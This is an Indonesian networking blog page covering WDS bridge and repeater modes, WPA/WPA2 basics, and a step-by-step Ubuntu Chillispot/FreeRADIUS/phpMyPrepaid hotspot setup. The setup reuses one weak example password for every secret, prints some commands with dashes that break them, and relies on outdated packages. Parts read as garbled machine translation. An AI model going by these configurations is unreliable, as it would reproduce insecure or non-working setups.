Tampilkan postingan dengan label Instalasi LAN. Tampilkan semua postingan
Tampilkan postingan dengan label Instalasi LAN. Tampilkan semua postingan

Aplikasi WDS (Wireless Distribution System )

Wireless WDS
 
Wireless Distribution System (WDS) Memungkinkan Interconnection Beberapa Access Point Dalam Suatu Environment Wireless Network
Dengan Wireless Distribution System (WDS) memungkinkan jaringan wireless dikembangkan menggunakan beberapa access point tanpa harus memerlukan backbone kabel jaringan untuk menghubungkan mereka, seperti cara tradisional. Keuntungan yang bisa kelihatan dari Wireless Distribution Systemdibanding solusi lainnya adalah bahwa dengan Wireless Distribution System, header MAC address dari paket traffic tidak berubah antar link access point. tidak seperti pada proses encapsulation misalnya pada komunikasi antar router yang selalu menggunakan MAC address pada hop berikutnya.
Suatu access point bisa menjadi sebuah station utama, relay, atau remote base station. Suatu base station utama pada umumnya dihubungkan dengan system Ethernet. Base station relay merelay station-2 kepada base station utama atau relay station lainnya. Remote base station menerima koneksi dari clients wireless dan melewatkannya ke main station atau ke relay station juga. Koneksi antar clients menggunakan MAC address dibanding memberikan spesifikasi IP address.
Semua base station dalam Wireless Distribution System (WDS) harus dikonfigure menggunakan channel radio yang sama, methoda inkripsi (tanpa inkripsi, WEP, atau WAP) dan juga kunci inkripsi yang sama. Mereka bisa dikonfigure dengan menggunakan SSID (service set identifiers) yang berbeda sebagai identitas. Wireless Distribution System (WDS) juga mengharuskan setiap base station untuk bisa melewatkan kepada lainnya didalam system.
Wireless Distribution System (WDS) bisa juga direferensikan sebagai mode repeater karena dia bisa tampak sebagai Bridge dan juga menerima wireless clients pada saat bersamaan (tidak seperti system bridge tradisional). Tetapi perlu juga diperhatikan bahwa throughput dalam metoda ini adalah menjadi setengahnya untuk semua clients yang terhubung secara wireless.
Wireless Distribution System (WDS) bisa digunakan dalam dua jenis mode konekstivitas antar Access point
  • Wireless Bridging dimana komunikasi access points Wireless Distribution System hanya satu dengan lainnya (antar AP) dan tidak membolehkan wireless clients lainnya atau Station(STA) untuk mengaksesnya.
  • Wireless repeater dimana access point berkomunikasi satu sama lain dan juga dengan wireless Station (STA)
Ada dua kerugian dalam system Wireless Distribution System (WDS) ini:
  • Troughput efektif maksimum adalah terbagi dua setelah transmisi pertama (hop) dibuat. Misalkan, dalam kasus dua router dihubungkan system Wireless Distribution System (WDS), dan komunikasi terjadi antara satu komputer yang terhubung ke router A dengan sebuah laptop yang terhubung secara wireless dengan salah satu access point di router B, maka troughputnya adalah separuhnya, karena router B harus re-transmit informasi selama komunikasi antara dua belah sisi. Akan tetapi jika sebuah komputer dikoneksikan ke router A dan notebook di koneksi kan ke router B (tanpa melalui koneksi wireless), maka troughput tidak terbelah dua karena tidak ada re-transmit informasi.
Kunci inkripsi yang secara dinamis di berikan dan dirotasi biasanya tidak disupport dalam koneksi Wireless Distribution System (WDS). Ini berarti dynamic inkripsi WPA (Wi-Fi Protected Access) dan technology dynamic key lainnya dalam banyak kasus tidak dapat digunakan, walaupun WPA menggunakan pre-shared key adalah memungkinkan. Hal ini dikarenakan kurangnya standarisasi dalam issue ini, yang mungkin saja di selesaikan dengan standard 802.11s mendatang. Sebagai akibatnya cukuplah kunci static WEP dan WPA yang bisa digunakan dalam koneksi Wireless Distribution System, termasuk segala station yang difungsikan sebagai access point WDS repeater. Akan tetapi sekarang ini sudah banyak vendor yang telah engadopsi standard 802.11i dalam produk access point mereka sehingga WPA / WPA2 adalah standard keamanan koneksi mereka (setidaknya yang mereka claim).
Gambar dibawa ini adalah access point yang dihubungkan dengan WDS Link point-to-point.


WDS Point to Point - Diagram
Dengan Wireless Distribution System, anda bisa membangun infrastrucktur wireless tanpa harus membangun backbone kabel jaringan sebagai interkoneksi antar bridge. Wireless Distribution System fitur memungkinkan kita membuat jaringan-2 wireless yang besar dengan cara membuat link beberapa wireless access point dengan WDS Links. Wireless Distribution System normalnya digunakan untuk membangun jaringan yang besar dimana menarik kabel jaringan adalah tidak memungkinkan, alias mahal, terbatas, atau secara fisik tidak memungkinkan untuk ditarik.


WDS Point to Multi Point
Gambar diatas ini adalah contoh konfigurasi WDS Link yang menghubungkan Point to multi point WDS Link. Sementara gambar dibawah berikut ini menggambarkan contoh diagram WDS Link yang berfungsi sebagai WDS Repeater.



Bridge mode


Untuk aplikasi bridge mode, wireless LAN biasanya digunakan untuk menghubungkan antar-LAN (LAN to LAN) yang saling terpisah karena jarak antar gedung tidak terlalu jauh (ratusan meter) maka wireless LAN dapat sebagai alternative solusi. Konfigurasi jaringan tersebut dilakukan dengan memakai 2 AP, satu sebagai AP dan pasangannya dilakukan sebagai AP clien.
Cara setting sebagai model bridge mode adalah
  •       Pilih AP sebagai fungsi bridge
  •    Dua AP yang digunakan sebagai bridge dimaksud harus dikonfigurasi dengan SSID dan channel frekuensi yang sama 



Baca selengkapnya...





WDS Repeater
Wireless Bridge dan Wireless Repeater
Pada diagram tiga gambar diatas, WDS dapat di bangun dalam beberapa konfigurasi, point-to-point; point-to-multipoint; dan WDS repeater.
Wireless Repeater, sebuah device yang mengirim dan menerima sinyal untuk memperluas area jangkauan. Kekurangan repeater adalah bisa mengurangi performansi wireless LAN     .
Repeater harus menerima dan mengirim setiap frame pada kanal radio yang sama , mengakibatkan terjadinya peggandaan jumlah trafic pada jaringan. Hal ini terjadi jika digunakan banyak repeater.
Wireless Bridge
Wireless Distribution System yangditunjukkan pada gambar dibawah ini sering disebut sebagai konfigurasi “wireless bridge”, karena terjadi koneksi dua jaringan LAN pada layer data link. Access point bertindak sebagai standard bridge yang melewatkan traffic antar WDS Link (link yang menghubungkan ke access point / bridge lainnya) dan sebuah Ethernet port. Sebagai standard bridge, access point mempelajari MAC address sampai 64 wireless dan atau total 128 piranti wireless dan wired, yang dikoneksikan ke masing-2 port Ethernet untuk membatasi jumlah data yang dilewatkan. Hanya data yang ditujukan kepada station yang diketahui berada pada peer Ethernet link, data multicast atau data dengan tujuan yang tidak diketahui yang perlu dilewatkan ke peer access point melalui WDS link.





Wireless Repeater
Pada gambar diatas ini, AP2 digunakan untuk memperluas jaringan / jangkauan infrastructure wireless dengan jalan melewatkan traffic antara station wireless dan AP yang terhubung secara kabel dengan jaringan local. Catatan bahwa traffic Ethernet tidak di forward dengan cara demikian. Traffic antara Sta3 dan Sta4 tidak di forward melalui WDS link, begitu juga Sta5 dan Sta6. Dengan mode wireless bridge, Access point yang dioperasikan dalam mode repeater perlu menterjemahkan frame kedalam format frame yang lain saat forward frame antara koneksi wireless dan WDS link, format frame 3-address 802.11 digunakan pada wireless yang terhubung dengan wireless stations, sementara untuk koneksi WDS link dengan access point yang lain menggunakan format 4-address 802.3 frame. Encryption / decryption juga dilaksanakan jika AP di configure dengan keamanan.
Hampir dalam suatu infrastruktur jaringan windows 2003 misalnya, tidak jarang peluasan jaringan dilakukan dengan menggunakan wireless access point yang di configure dengan menggunakan technology WDS ini. Akan tetapi tidak semua piranti access point mempunyai kemampuan WDS ini.


Repeater mode
Pada konfigurasi repeater mode bertujuan untuk memperjauh coverage dari satu AP atau melakukan coverage pada lingkungan yang cukup sulit jika hanya menggunakan satu AP saja. Repeater mode dilakukan dengan cara menambah AP baru yang berfungsi sebagai titik tengah (perantara) antar klien dengan AP lain yang terhubung langsung ke jaringan. Repeater ini menerima signal dari AP atau repeater lainnya kemudian melakukan retransmit data-data tersebut.

Kelemahan arsitektur jaringan ini adalah tingkat throughput keluaran AP yang akan menurun drastic mengingat fungsinya yaitu menerima data-data yang dikirimkan melalui gelombang radio (RF) dan melakukan retransmisi data-data tersebut pada gelombang radio yang sama sehingga pekerjaan yang dilakukan lebih banyak dari AP biasa. Pengaruh ini akan sangat terasa jika jumlah repeater yang digunakan bertambah banyak. Gambar di bawah menunjukan bahwa …. Disamping tersambung kejaringan, maka AP juga dihubungkan ke AP repeater untuk memperluas jaringan.



Konfigurasi infrastruktur (client server)
Infrastruktur wireless LAN adalah sebuah konfigurasi jaringan dimana jaringan wireless tidak hanya berhubungan dengan sesame jaringan wireless saja. Akan tetapi, terhubung juga dengan jaringan wired. Agar jaringan wireless dapat berhubungan dengan jaringan wired, maka akses point mutlak diperlukan.
Bagaimana bila AP yang dipasang terdiri dari lebih dari 2. Tentunya pengaturan frekuensi lebih harus hati hati agar tidak saling mengganggu antara AP satu dengan yang lainnya.


Konfigurasi di ke dua AP tersebut sama dengan fungsi sebagai bridge (SSID dan kanalnya harus seragam). Perbedaannya terletak pada pemilihan setting AP sebagai model repeater.


Ada dua buah perangkat wireless, satu buah jenis wireless Access Point (AP) dan sebuah lagi Wireless Cable/DSL Router. Kedua perangkat ini sudah lama tidak difungsikan secara optimal, langsung saja timbul rasa penasaran untuk melakukan konfigurasi AP. Model dan merk perangkat wireless tidak disebutkan, karena tidak dapat fee dari vendor dan memungkinkan exploitasi menjadi lebih mudah oleh pengakses ilegal yang ada di area sekitar kantor he.. he..
Konfigurasi pertama dilakukan terhadap AP, ada passwordnya, password default telah berganti, tidak perlu bertanya ke konfigurator sebelumnya, cari cara untuk melakukan reset ke default factory setting di google.com, dapat beberapa informasi dari forum/milis, setelah dicoba akhirnya konfigurasi AP kembali ke setting awal.
Interface untuk mengatur setting AP dilakukan dengan memasukkan alamat IP perangkat AP melalui browser, beberapa konfigurasi dilakukan, diantaranya dengan:
1. Mengatur supaya AP dapat berfungsi sebagai DHCP server
2. Mencoba fitur Wired Equivalent Privacy (WEP) dan Wi-Fi Protected Access (WPA)
3. Mengatur akses berdasarkan MAC Address device pengakses
4. dsb
Beberapa konfigurasi yang dibuat tidak bekerja dengan baik, misalnya meski DHCP server telah diatur, AP tidak memberikan IP sesuai dengan alokasi yang ditentukan.
Upgade Firmware
Biasanya perangkat yang mempunyai firmware semacam AP akan menyediakan upgrade firmware untuk melakukan perbaikan, bahkan dengan upgrade firmware akan ada fungsi tambahan atau baru. Langsung saja cari firmware terbaru untuk AP di website vendor. Ternyata sudah ada beberapa release terhadap firmware lama yang ada di AP, download firmware versi terakhir. Firmware yang di download berbentuk file executable, jalankan file tersebut akan melakukan decompress dan menghasilkan file README dan firmware update.
Proses upgrade dapat dilakukan secara mudah, yaitu langsung dilakukan melalui browser, masukkan file firmware update, kemudian klik sumbit, dalam waktu kurang dari satu menit proses upgrade selesai dan firmware baru langsung terpasang. Reset ke default factory setting dilakukan sesuai rekomendasi Vendor yang ada di file README.
Upgrade firmware memberikan hasil yang sangat memuaskan, yaitu DHCP server dapat berfungsi dengan baik dan tersedianya fasilitas tambahan/baru yaitu perangkat wireless sekarang fungsinya menjadi tiga jenis:
1. Access Point (fungsi default)
2. Client Bridge Mode
3. Repeater Mode
AP dan Komputer Server
Saat ini AP telah berfungsi dengan baik dan benar, selanjutnya ada keinginan untuk menyiapkan sebuah komputer untuk dijadikan sebuah server yang akan menyediakan fungsi untuk:
1. Pengelolaan user
2. Pengelolaan akses
3. Proxy dan Firewall
4. Pengelolaan authentifikasi
5. Mencatat log/history akses
6. Menyediakan fitur billing
Adakah pembaca yang telah melakukan/memasang aplikasi terpadu open source untuk Linux untuk kebutuhan seperti ini? jika ada, ditunggu komentarnya.
sumber : 
  • 3Com, Cisco
  • www.google.com
  • www.scribd.com

WPA, WPA2 dan WPA-PSK

WPA

WPA (bahasa Inggris: Wi-Fi Protected Access) adalah suatu sistem yang juga dapat diterapkan untuk mengamankan jaringan nirkabel. Metoda pengamanan dengan WPA ini diciptakan untuk melengkapi dari sistem yamg sebelumnya, yaitu WEP. Para peneliti menemukan banyak celah dan kelemahan pada infrastruktur nirkabel yang menggunakan metoda pengamanan WEP. Sebagai pengganti dari sistem WEP, WPA mengimplementasikan layer dari IEEE, yaitu layer 802.11i. Nantinya WPA akan lebih banyak digunakan pada implementasi keamanan jaringan nirkabel. WPA didesain dan digunakan dengan alat tambahan lainnya, yaitu sebuah komputer pribadi (PC).
Fungsi dari komputer pribadi ini kemudian dikenal dengan istilah authentication server, yang memberikan key yang berbeda kepada masing-masing pengguna/client dari suatu jaringan nirkabel yang menggunakan akses point sebagai media sentral komunikasi. Seperti dengan jaringan WEP, metoda enkripsi dari WPA ini juga menggunakan algoritma RC4.
Pengamanan jaringan nirkabel dengan metoda WPA ini, dapat ditandai dengan minimal ada tiga pilihan yang harus diisi administrator jaringan agar jaringan dapat beroperasi pada mode WPA ini. Ketiga menu yang harus diisi tersebut adalah:

    * Server
          o Komputer server yang dituju oleh akses point yang akan memberi otontikasi kepada client. beberapa perangkat lunak yang biasa digunakan antara lain freeRADIUS, openRADIUS dan lain-lain.
    * Port
          o Nomor port yang digunakan adalah 1812.
    * Shared Secret
          o Shared Secret adalah kunci yang akan dibagikan ke komputer dan juga kepada client secara transparant.

Setelah komputer diinstall perangkat lunak otontikasi seperti freeRADIUS, maka sertifikat yang dari server akan dibagikan kepada client.
Untuk menggunakan Radius server bisa juga dengan tanpa menginstall perangkat lunak di sisi komputer client. Cara yang di gunakan adalah Web Authentication dimana User akan diarahkan ke halaman Login terlebih dahulu sebelum bisa menggunakan Jaringan Wireless. Dan Server yang menangani autentikasi adalah Radius server.

WPA-PSK

WPA-PSK (Wi-Fi Protected Access – Pre Shared Key) adalah pengamanan jaringan nirkabel dengan menggunakan metoda WPA-PSK jika tidak ada authentikasi server yang digunakan. Dengan demikian access point dapat dijalankan dengan mode WPA  tanpa menggunakan bantuan komputer lain sebagai server. Cara mengkonfigurasikannya juga cukup sederhana. Perlu diketahui bahwa tidak semua access point akan mempunyai fasilitas yang sama dan tidak semua access point menggunakan cara yang sama dalam mendapatkan Shared-Key yang akan dibagikan ke client.
Pada access point Dlink DWL-2000AP, pemberian Shared-Key dilakukan secara manual tanpa mengetahui algoritma apa yang digunakan. Keadaan ini berbanding terbalik dengan akses point Linksys WRT54G, dimana administrator dapat memilih dari dua algoritma WPA yang disediakan, yang terdiri dari algoritma TKIP atau algoritma AES.
Setelah Shared-Key didapat, maka client yang akan bergabung dengan access point cukup memasukkan angka/kode yang diijinkan dan dikenal oleh access point. Prinsip kerja yang digunakan WPA-PSK sangat mirip dengan pengamanan jaringan nirkabel dengan menggunakan metoda Shared-Key.


WPA2

WPA2 adalah sertifikasi produk yang tersedia melalui Wi-Fi Alliance. WPA2 Sertifikasi hanya menyatakan bahwa peralatan nirkabel yang kompatibel dengan standar IEEE 802.11i. WPA2 sertifikasi produk yang secara resmi menggantikan wired equivalent privacy (WEP) dan fitur keamanan lain yang asli standar IEEE 802.11. WPA2 tujuan dari sertifikasi adalah untuk mendukung wajib tambahan fitur keamanan standar IEEE 802.11i yang tidak sudah termasuk untuk produk-produk yang mendukung WPA.

Update WPA2/WPS IE yang mendukung WPA2 fitur berikut:

* WPA2 Enterprise IEEE 802.1X menggunakan otentikasi dan WPA2 Personal menggunakan tombol preshared (PSK).
* The Advanced Encryption Standard (AES) dengan menggunakan Mode Kontra-Cipher Block Chaining (CBC)-Message Authentication Code (MAC) Protocol (CCMP) yang menyediakan kerahasiaan data, asal data otentikasi, dan integritas data untuk frame nirkabel.
* Opsional penggunaan Berpasangan Master Key (PMK) PMK oportunistik cache dan cache. Dalam PMK caching, klien nirkabel dan titik akses nirkabel cache hasil 802.1X autentikasi. Oleh karena itu, akses jauh lebih cepat ketika klien nirkabel menjelajah kembali ke titik akses nirkabel ke klien yang sudah dikonfirmasi.
* Opsional penggunaan preauthentication. Dalam preauthentication, WPA2 wireless client yang dapat melakukan otentikasi 802.1X dengan titik akses nirkabel lainnya dalam jangkauan ketika masih terhubung ke titik akses nirkabel saat ini.

Anda harus menggunakan IE WPA2/WPS Update bersama-sama dengan berikut:

* Wireless access point yang mendukung WPA2.
Jaringan Wireless adaptor yang mendukung WPA2.
* Windows XP driver adaptor jaringan nirkabel yang mendukung kemampuan berlalunya WPA2 ke Windows Wireless Auto Konfigurasi.

Update IE yang WPA2/WPS memodifikasi kotak dialog berikut:

* Jika Anda tersambung ke jaringan nirkabel yang mampu WPA2, jenis jaringan yang ditampilkan sebagai WPA2 di Wireless Network Pilih Sebuah kotak dialog.
* Pada tab Asosiasi untuk properti dari jaringan nirkabel, daftar Otentikasi Jaringan memiliki opsi tambahan berikut:
o WPA2 - untuk WPA2 Enterprise
o WPA2-PSK - untuk WPA2 Personal

Catatan Pilihan ini tidak hadir jika driver adaptor jaringan nirkabel tidak mendukung WPA2.




Sumber : http://wapedia.mobi

Ubuntu Hotspot (Cara Membuat Billing Hotspot Menggunakan Chillispot+Free Radius+PHP My Prepaid)

Hotspot dengan Chillispot + Freeradius + Phpmyprepaid
  1. Install linux ubuntu nya dulu 
  2. Setelah selesai installasi login ke ubuntu seperti biasa. 
  3. Biar bisa masuk ke root ketik "sudo su" (tanpa tanda kutip), kemudian masukin lagi passwordnya. Lihat perbedaannya. kalo user biasa ditandai dengan $ tapi kalo root ditandai dengan # . 
  4. buat dulu password root nya dengan perintah
    • #passwd root 
    • (buat password root sesuai keinginan) 
    • (masukin password yang dibuat tadi sekali lagi) 
  5. Edit konfigurasi untuk eth1 sebagai berikut
    • #nano /etc/network/interfaces 
    • --isi tulisan ini bagian paling bawah dari interfaces— 
    • # The secondary network interface 
    • auto eth1 
    • iface eth1 inet dhcp 
    • -- berakhir di atas tulisan ini—
    • -- untuk eth0 di setting ip nya sesuai dengan koneksi internet/ jaringan yg terhubung sama internet 
    • Simpan dan keluar dengan cara menekan ctrl+x ketik y kemudian tekan enter Alasan menggunakan dhcp karena nanti yang akan memberikan ip dari chillispot. 
  6. masukkin dns yang dikasih oleh isp, caranya:
    • #nano /etc/resolv.conf
    •  -- isi dengan perintah berikut dibawah –
    • nameserver 202.155.0.10
    • nameserver 202.155.0.15
    • -- berakhir diatas dari tulisan ini –
    • simpan dengan menekan ctrl+x tekan y kemudian enter
    • contoh diatas adalah permisalan dns 1 dan dns 2 nya. 
  7. edit file sysctl.conf caranya: 
    • #nano /etc/sysctl.conf
    • cari tulisan berikut:
    • # net.ipv4.conf.default.forwarding=1
    • hilangkan tanda pagar nya jadi:
    • net.ipv4.conf.default.forwarding=1
    • simpan dan keluar dengan perintah:
    • ctrl+x, ketik y dan tekan enter
  8. Masukin perinta berikut di rc.local dengan cara: 
    • #nano /etc/rc.local
    • hapus exit=0
    • -- masukan tulisan berikut dibagian paling bawah rc.local —
    • echo "1" > /proc/sys/net/ipv4/ip_forward
    • -- berakhir diatas tulisan ini --
    • simpan dan keluar dengan perintah:
    • ctrl+x, ketik y dan tekan enter 
  9. Reboot / restart linux ubuntunya dengan perintah “reboot” (tanpa tanda kutip).
  1. Install program – program yang dibutuhkan
    • #apt-get install unzip
    • #apt-get install fakeroot
    • #apt-get install ssh
    • #apt-get install build-essential
    • #apt-get install rrdtool
    • #apt-get install snmp
    • #apt-get install mysql-server
    • #apt-get install apache2 php5 php5-mysql
    • #apt-get install ssl-cert
    • #apt-get install freeradius freeradius-mysql
    • #wget http://www.chillispot.info/download/chillispot_1.0_i386.deb
    • #dpkg –i chillispot_1.0_i386.deb
    • Ket: Sewaktu menginstall mysql-server anda akan dimintai password untuk root mysql. Jika anda tidak dimintai untuk memasukkan password anda dapat membuatnya dengan perintah: #mysqladmin -u root password 'sangatrahasia'
  2. buat file options di folder network dengan perintah
    • #nano /etc/network/options
    • -- tulis sebagai berikut --
    • ip_forward = yes
    • -- berakhir diatas tulisan ini --
    • simpan dan keluar dengan perintah: ctrl+x, ketik y dan tekan enter
    • restart network dengan perintah
    • #/etc/init.d/networking restart
  3. Edit file apache2.conf sbb:
    • #nano /etc/apache2/apache2.conf
    • -- dibagian paling bawah nya ditulis --
    • ServerName 192.168.10.10
    • -- berakhir diatas tulisan ini --
    • Simpan make perintah: Ctrl+x ketik y dan tekan enter
    • ip address 192.168.10.10 hanya permisalan doang, ini tergantung dari eth0 ip anda
    • Restart apache2 nya:
    • #/etc/init.d/apache2 restart
  4. Edit file php.ini sbb:
    • #nano /etc/php5/apache2/php.ini
    • Cari tulisan:
    • ; extension=msql.so
    • Hilangkan tanda titik koma nya dan ganti msql.so menjadi mysql.so sbb:
    • extension=mysql.so
    • Cari juga tulisan berikut:
    • post_max_size = 8M
    • Ubah 8M menjadi 16 M:
    • post_max_size = 16M
    • Simpan dengan perintah:
    • Ctrl+x ketik y kemudian enter
  5. ambil paket phpmyprepaid dan letakkan di folder /var/www dan ekstrak
    • #cd /var/www
    • #rm –rf apache2-default
    • #wget http://downloads.sourceforge.net/phpmyprepaid/phpmyprepaid04b3.tgz?modtime=1187550638&big_mirror=0
    • #tar –zxvf phpmyprepaid04b3.tgz
  6. install program phpmyprepaid
    • Untuk menginstall phpmyprepaid, anda perlu menggunakan komputer desktop lain dalam satu jaringan yang terinstall mozilla firefox. Alasannya karena ada beberapa tampilan yang tidak bisa ditampilkan di web browser lain selain mozilla. Satu lagi, nyettingnya make ssh dong, biar gak repot.
    • Buka mozilla firefox dan arahkan addressnya ke :
    • http://192.168.10.10/phpmyprepaid/www/install/setup.php
    • aku inget lagi, ip address 192.168.10.10 hanya permisalan doang, ini tergantung dari settingan eth0 ip address anda.
    • Klik start.
    • Pilih I accept dan klik next lagi.
    • Perhatikan dan edit konfigurasi seperti berikut:
    • PhpMyPrepaid install directory : /var/www/phpmyprepaid
    • FreeRADIUS binary files directory : /usr/sbin
    • FreeRADIUS config files directory : /etc/freeradius
    • FreeRADIUS Dictionary directory : /usr/share/freeradius
    • FreeRADIUS start/stop/restart/status script : /etc/init.d/freeradius
    • RRDTOOL binary path : /usr/bin/rrdtool
    • Sudo binary path : /usr/bin/sudo
    • System log file path : /var/log/messages
    • FreeRADIUS radius.log file path : /var/log/freeradius/radius.log
    • Radclient command : /usr/bin/radclient
    • MySQL client command : /usr/bin/mysql
    • snmpwalk command : /usr/bin/snmpwalk
    • snmpget command : /usr/bin/snmpget
    • Klik next
    • Disini anda diminta untuk mem verifikasi konfigurasi.. jika ada yang belum periksa kembali apa yang kurang, dan klik recheck.. jika sudah…
    • Klik next lagi
    • Pada bagian ini anda akan diminta untuk mengkonfigurasi database, anda dapat mencontoh sebagai berikut:
    • Root password for Mysql : sangatrahasia
    • PhpMyPrepaid Database Name (phpmyprepaid) : phpmyprepaid
    • PhpMyPrepaid Database Password : sangatrahasia
    • Confirm Password : sangatrahasia
    • Database location (localhost) : localhost
    • FreeRADIUS location (localhost).
    • Not applicable by now : localhost
    • FreeRADIUS version.
    • Not applicable by now : 1.X
    • Klik next lagi
    • Pada bagian ini anda akan diminta untuk mengkonfigurasi user interface yaitu sebagai super administrator dalam memanajemen phpmyprepaid, anda dapat mencontoh sebagai berikut:
    • Administrator login for PhpMyPrepaid : yoga
    • Administrator password for PhpMyPrepaid : sangatrahasia
    • Confirm Password : sangatrahasia
    • Administrator name for PhpMyPrepaid : yoga
    • Administrator surname for PhpMyPrepaid : yoga
    • Administrator email for PhpMyPrepaid : yoga@yahoo.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it
    • Administrator language for PhpMyPrepaid.
    • Only english is supported by now. : es
    • Klik next
    • Pada bagian ini merupakan informasi yang dilaporkan oleh phpmyprepaid dalam membuat database pada mysql
    • Klik next
    • Anda akan diminta untuk memasukkan lokasi daerah anda, contohnya sebagai berikut:
    • Location name : The Batavia Hotel
    • Location Domain : batavia-hotel.com
    • Location Country Code : Indonesia
    • Location Area code : --
    • Location City : Jakarta
    • Klik next
    • Installasi finish, silahkan klik interface
    • Pertama anda diminta untuk menghapus folder install dan mengubah hak akses folder www menjadi 755. (arti mengenai 755 cari aja di google yach, bukan disini tempatnya untuk ngejelasin itu).
    • #rm –rf /var/www/phpmyprepaid/www/install
    • #chmod 755 /var/www/phpmyprepaid/www
    • refresh mozilla firefox anda, anda akan melihat tampilan perbedaannya…
  7. Setting chillispot
    • edit file chilli.conf
    • #nano /etc/chilli.conf
    • -- contoh yang harus disetting --
    • net 192.168.100.0/24
    • dns1 202.93.32.146
    • dns2 202.93.32.147
    • radiusserver1 127.0.0.1
    • radiusserver2 127.0.0.1
    • radiussecret sangatrahasia
    • dhcpif eth1
    • uamserver https://192.168.100.1/cgi-bin/hotspotlogin.cgi
    • uamsecret sangatrahasia
    • uamlisten 192.168.100.1
    • -- berakhir diatas tulisan ini --
    • Simpan pake perintah:
    • Ctrl+x tekan y kemudian enter
    • Ket:
    • - uamlisten 192.168.100.1 disini adalah ip address eth1 yang akan dimasukkan oleh chillispot
    • - net 192.168.100.0/24 adalah ip address dhcp yang diberikan oleh chillispot kepada user, mulai dari 192.168.100.2 – 192.168.100.254 
    • Buat file hotspotlogin.cgi di folder cgi-bin:
    • #cp /usr/share/doc/chillispot/hotspotlogin.cgi.gz /usr/lib/cgi-bin
    • #gunzip /usr/lib/cgi-bin/hotspotlogin.cgi.gz
    • #cd /usr/lib/cgi-bin/
    • #chmod 755 hotspotlogin.cgi
    • #nano hotspotlogin.cgi
    • -- cari tulisan berikut --
    • # $uamsecret = "sangatrahasia";
    • dan
    • # $userpassword=1;
    • ------------------------------
    • Hilangkan tanda pagarnya menjadi:
    • $uamsecret = "sangatrahasia";
    • dan
    • $userpassword=1;
    • Simpan make perintah:
    • Ctrl+x tekan y kemudian enter
    • Aktifkan firewall chillispot dan buat firewallnya agar diaktifkan setiap kali server restart:
    • #sh /usr/share/doc/chillispot/firewall.iptables
    • #cp /usr/share/doc/chillispot/firewall.iptables /etc/init.d/chilli.iptables
    • #chmod u+x /etc/init.d/chilli.iptables
    • #ln -s /etc/init.d/chilli.iptables /etc/rcS.d/S40chilli.iptables
    • edit file chilli.conf
    • Buat file hotspotlogin.cgi di folder cgi-bin:
    • Aktifkan firewall chillispot dan buat firewallnya agar diaktifkan setiap kali server restart:
  8. Setting freeradius 
    • Edit file clients.conf
    • #nano /etc/freeradius/clients.conf
    • -- cari konfigurasi berikut dan modifikasi menjadi seperti ini --
    • client 127.0.0.1 {
    • secret = sangatrahasia
    • shortname = localhost
    • nastype = other
    • }
    • -- berakhir diatas tulisan ini --
    • Simpan make perintah:
    • Ctrl+x tekan y kemudian enter 
    • Setting file sql.conf
    • #nano /etc/freeradius/sql.conf
    • -- cari konfigurasi berikut dan edit --
    • # Connect info
    • server = "localhost"
    • login = "phpmyprepaid"
    • password = "sangatrahasia"
    • # Database table configuration
    • radius_db = "phpmyprepaid"
    • edit file radiusd.conf
    • Setting file sql.conf
    • edit file radiusd.conf
    • #nano /etc/freeradius/radiusd.conf
    • -- cari konfigurasi berikut --
    • "$INCLUDE ${confdir}/sql.conf"
    • tambahkan dibawahnya sehingga menjadi menjadi:
    • "$INCLUDE ${confdir}/sql.conf"
    • sqlcounter noresetcounter {
    • counter-name = Max-All-Session-Time
    • check-name = Max-All-Session
    • sqlmod-inst = sql
    • key = User-Name
    • reset = never
    • query = "SELECT SUM(AcctSessionTime) FROM radacct where UserName='%{%k}'"
    • }
    • -- cari konfigurasi untuk accounting dan setting menjadi seperti ini dengan cara menghilangkan tanda pagarnya, selain itu berikan tanda pagar untuk yang lain --
    • accounting {
    • unix
    • radutmp
    • sql
    • }
    • -- cari juga untuk instantiate, setting dengan menghilangkan tanda pagar, seperti berikut, dan dibawah expr tambahkan noresetcounter --
    • instantiate {
    • exec
    • expr
    • noresetcounter
    • }
    • -- cari juga pada bagian authorize, setting dengan cara yang sama, dan dibagian bawah sql tambahkan tulisan noresetcounter --
    • authorize {
    • preprocess
    • chap
    • mschap
    • suffix
    • sql
    • noresetcounter
    • }
    • simpan dengan ctrl+x tekan y kemudian enter
  9. Konfigurasi sertifikasi
    • #cd /etc/apache2
    • #mkdir ssl
    • #make-ssl-cert /usr/share/ssl-cert/ssleay.cnf /etc/apache2/ssl/apache.pem
    • Contoh jawaban pertanyaan seputar SSL:
    • - Country Name: ID
    • - State Or Province Name: Riau
    • - Locality Name : Pekanbaru
    • - Organization Name : Hotspot Pekanbaru
    • - Organization Unit Name : Engineering hotspot pekanbaru
    • - Host Name : localhost - Email Address : yoga@yahoo.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it
    • Aktifkan dengan cara:
    • #a2enmod ssl
    • #/etc/init.d/apache2 force-reload
    • Buat dan mengenable file ssl :
    • #cd /etc/apache2/sites-available/
    • #nano ssl
    • -- copy konfigurasi berikut --
    • NameVirtualHost *:443
    • ServerAdmin webmaster@localhost 
    • SSLEngine On 
    • SSLCertificateFile /etc/apache2/ssl/apache.pem 
    • DocumentRoot /var/www/ 
    • Options FollowSymLinks                
    • AllowOverride None 
    •  
    •                
    • Options Indexes FollowSymLinks MultiViews                
    • AllowOverride None                
    • Order allow,deny                
    • allow from all                
    • # This directive allows us to have apache2's default start page                
    • # in /apache2-default/, but still have / go to the right place                
    • # Commented out for Ubuntu                
    • #RedirectMatch ^/$ /apache2-default/ 
    •        
    • ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ 
    •                
    • AllowOverride None                
    • Options ExecCGI -MultiViews +SymLinksIfOwnerMatch                
    • Order allow,deny                
    • Allow from all 
    •        
    • ErrorLog /var/log/apache2/error.log        
    • # Possible values include: debug, info, notice, warn, error, crit,        
    • # alert, emerg.        
    • LogLevel warn        
    • CustomLog /var/log/apache2/access.log combined        
    • ServerSignature On    
    • Alias /doc/ "/usr/share/doc/" 
    •        
    • Options Indexes MultiViews FollowSymLinks        
    • AllowOverride None        
    • Order deny,allow        
    • Deny from all        
    • Allow from 127.0.0.0/255.0.0.0 ::1/128 
    •  
    • -- berakhir diatas tulisan ini --
    • simpan dengan ctrl+x tekan y kemudian enter
    • Kemudian di enable dengan cara:
    • #a2ensite ssl
    • #/etc/init.d/apache2 reload
    • #/etc/init.d/apache2 restart
  10. konfigurasi database mysql yang udah dibuat oleh phpmyprepaid tadi
    • #mysql –u root –p
    •  (masukkan password mysql yang dibuat tadi)
    • >show databases;
